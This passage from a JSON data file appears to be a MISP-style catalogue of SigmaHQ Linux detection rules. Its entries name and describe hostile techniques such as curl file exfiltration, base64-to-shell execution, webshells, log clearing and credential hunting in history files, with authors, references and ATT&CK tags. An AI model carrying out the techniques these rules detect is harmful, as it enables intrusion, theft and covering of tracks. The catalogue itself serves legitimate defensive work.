"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "7ab8f73a-fcff-428b-84aa-6a5ff7877dea", "value": "Vim GTFOBin Abuse - Linux" }, { "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", "meta": { "author": "Florian Roth", "creation_date": "2022/03/14", "falsepositive": [ "Legitimate software that uses these patterns" ], "filename": "proc_creation_lnx_susp_interactive_bash.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" ], "tags": "No established tags" }, "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", "value": "Interactive Bash Suspicious Children" }, { "description": "Detects usage of system utilities to discover files and directories", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_lnx_file_and_directory_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", "value": "File and Directory Discovery - Linux" }, { "description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_susp_find_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf", "value": "Potential Discovery Activity Using Find - Linux" }, { "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Legitimate usage of xclip tools." ], "filename": "proc_creation_lnx_clipboard_collection.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.packetlabs.net/posts/clipboard-data-security/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", "value": "Clipboard Collection with Xclip Tool" }, { "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_local_account.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" ], "tags": [ "attack.discovery", "attack.t1087.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", "value": "Local System Accounts Discovery - Linux" }, { "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", "meta": { "author": "Florian Roth", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_susp_recon_indicators.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" ], "tags": [ "attack.reconnaissance", "attack.t1592.004", "attack.credential_access", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", "value": "Linux Recon Indicators" }, { "description": "Detects chmod targeting files in abnormal directory paths.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/03", "falsepositive": [ "Admin changing file permissions." ], "filename": "proc_creation_lnx_susp_chmod_directories.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.002" ] }, "related": [ { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", "value": "Chmod Suspicious Directory" }, { "description": "Detects python spawning a pretty tty", "meta": { "author": "Nextron Systems", "creation_date": "2022/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_python_pty_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", "value": "Python Spawning Pretty TTY" }, { "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" ], "tags": [ "attack.initial_access", "attack.execution", "attack.t1190", "attack.t1059", "cve.2022.26134" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", "value": "Atlassian Confluence CVE-2022-26134" }, { "description": "Detects a suspicious curl process start the adds a file to a web request", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Scripts created by developers and admins" ], "filename": "proc_creation_lnx_susp_curl_fileupload.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://curl.se/docs/manpage.html", "https://twitter.com/d1r4c/status/1279042657508081664", "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" ], "tags": [ "attack.exfiltration", "attack.t1567", "attack.t1105" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", "value": "Suspicious Curl File Upload - Linux" }, { "description": "Detects usage of \"apt\" and \"apt-get\" as a GTFOBin to execute and proxy command and binary execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_gtfobin_apt.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://gtfobins.github.io/gtfobins/apt-get/", "https://gtfobins.github.io/gtfobins/apt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_apt.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "bb382fd5-b454-47ea-a264-1828e4c766d6", "value": "Apt GTFOBin Abuse - Linux" }, { "description": "Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks", "meta": { "author": "Tuan Le (NCSGroup)", "creation_date": "2022/12/26", "falsepositive": [ "Legitimate administrator activities" ], "filename": "proc_creation_lnx_userdel.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://linux.die.net/man/8/userdel", "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://www.cyberciti.biz/faq/linux-remove-user-command/", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_userdel.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "08f26069-6f80-474b-8d1f-d971c6fedea0", "value": "User Has Been Deleted Via Userdel" }, { "description": "Detects system information discovery commands", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_system_info_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", "value": "System Information Discovery" }, { "description": "Detects command line parameters or strings often used by crypto miners", "meta": { "author": "Florian Roth", "creation_date": "2021/10/26", "falsepositive": [ "Legitimate use of crypto miners" ], "filename": "proc_creation_lnx_crypto_mining.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.poolwatch.io/coin/monero", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" ], "tags": "No established tags" }, "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", "value": "Linux Crypto Mining Indicators" }, { "description": "Detects potential overwriting and deletion of a file using DD.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Any user deleting files that way." ], "filename": "proc_creation_lnx_dd_file_overwrite.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2953194b-e33c-4859-b9e8-05948c167447", "value": "DD File Overwrite" }, { "description": "Detects installation of suspicious packages using system installation utilities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/03", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_install_suspicioua_packages.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicioua_packages.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.004" ] }, "uuid": "700fb7e8-2981-401c-8430-be58e189e741", "value": "Suspicious Package Installed - Linux" }, { "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_schedule_task_job_cron.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.privilege_escalation", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", "value": "Scheduled Cron Task/Job - Linux" }, { "description": "Detects usage of system utilities to discover system network connections", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_lnx_system_network_connections_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1049" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", "value": "System Network Connections Discovery - Linux" }, { "description": "Detects enumeration of local network configuration", "meta": { "author": "Ömer Günal and remotephone, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_system_network_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1016" ] }, "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", "value": "System Network Discovery - Linux" }, { "description": "Detects a suspicious curl process start on linux with set useragent options", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" ], "filename": "proc_creation_lnx_susp_curl_useragent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://curl.se/docs/manpage.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b86d356d-6093-443d-971c-9b07db583c68", "value": "Suspicious Curl Change User Agents - Linux" }, { "description": "Detects suspicious sub processes of web server processes", "meta": { "author": "Florian Roth, Nasreddine Bencherchali (update)", "creation_date": "2021/10/15", "falsepositive": [ "Web applications that invoke Linux command line tools" ], "filename": "proc_creation_lnx_webshell_detection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", "value": "Linux Webshell Indicators" }, { "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_at_command.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" ], "tags": [ "attack.persistence", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", "value": "Scheduled Task/Job At" }, { "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", "meta": { "author": "Florian Roth", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_susp_history_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/sleventyeleven/linuxprivchecker/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" ], "tags": [ "attack.reconnaissance", "attack.t1592.004" ] }, "related": [ { "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", "value": "Print History File Contents" }, { "description": "Detects the usage of the unsafe bpftrace option", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2022/02/11", "falsepositive": [ "Legitimate usage of the unsafe option" ], "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://bpftrace.org/", "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", "value": "BPFtrace Unsafe Option Usage" }, { "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Legitimate use of SCX RunAsProvider ExecuteScript." ], "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/Azure/Azure-Sentinel/pull/3059", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" ], "tags": [ "attack.privilege_escalation", "attack.initial_access", "attack.execution", "attack.t1068", "attack.t1190", "attack.t1203" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", "value": "OMIGOD SCX RunAsProvider ExecuteScript" }, { "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", "meta": { "author": "pH-T", "creation_date": "2022/07/26", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_base64_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/arget13/DDexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", "value": "Linux Base64 Encoded Pipe to Shell" }, { "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_clear_logs.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.002" ] }, "related": [ { "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", "value": "Clear Linux Logs" }, { "description": "Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks", "meta": { "author": "Tuan Le (NCSGroup)", "creation_date": "2022/12/26", "falsepositive": [ "Legitimate administrator activities" ], "filename": "proc_creation_lnx_groupdel.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://linuxize.com/post/how-to-delete-group-in-linux/", "https://www.cyberciti.biz/faq/linux-remove-user-command/", "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/", "https://linux.die.net/man/8/groupdel", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_groupdel.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a46f16c-8c4c-82d1-b121-0fdd3ba70a84", "value": "Group Has Been Deleted Via Groupdel" }, { "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_base64_shebang_cli.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", "value": "Linux Base64 Encoded Shebang In CLI" }, { "description": "Detects usage of \"getcap\" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_capa_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/diego-treitos/linux-smart-enumeration", "https://github.com/carlospolop/PEASS-ng", "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "d8d97d51-122d-4cdd-9e2f-01b4b4933530", "value": "Capabilities Discovery - Linux" }, { "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", "meta": { "author": "Florian Roth", "creation_date": "2022/03/14", "falsepositive": [ "Legitimate software that uses these patterns" ], "filename": "proc_creation_lnx_susp_pipe_shell.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "880973f3-9708-491c-a77b-2a35a1921158", "value": "Linux Shell Pipe to Shell" }, { "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" ], "filename": "proc_creation_lnx_curl_usage.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", "value": "Curl Usage on Linux" }, { "description": "Detects enumeration of local or remote network services.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/21", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_network_service_scanning.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", "value": "Linux Network Service Scanning" }, { "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_services_stop_and_disable.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ 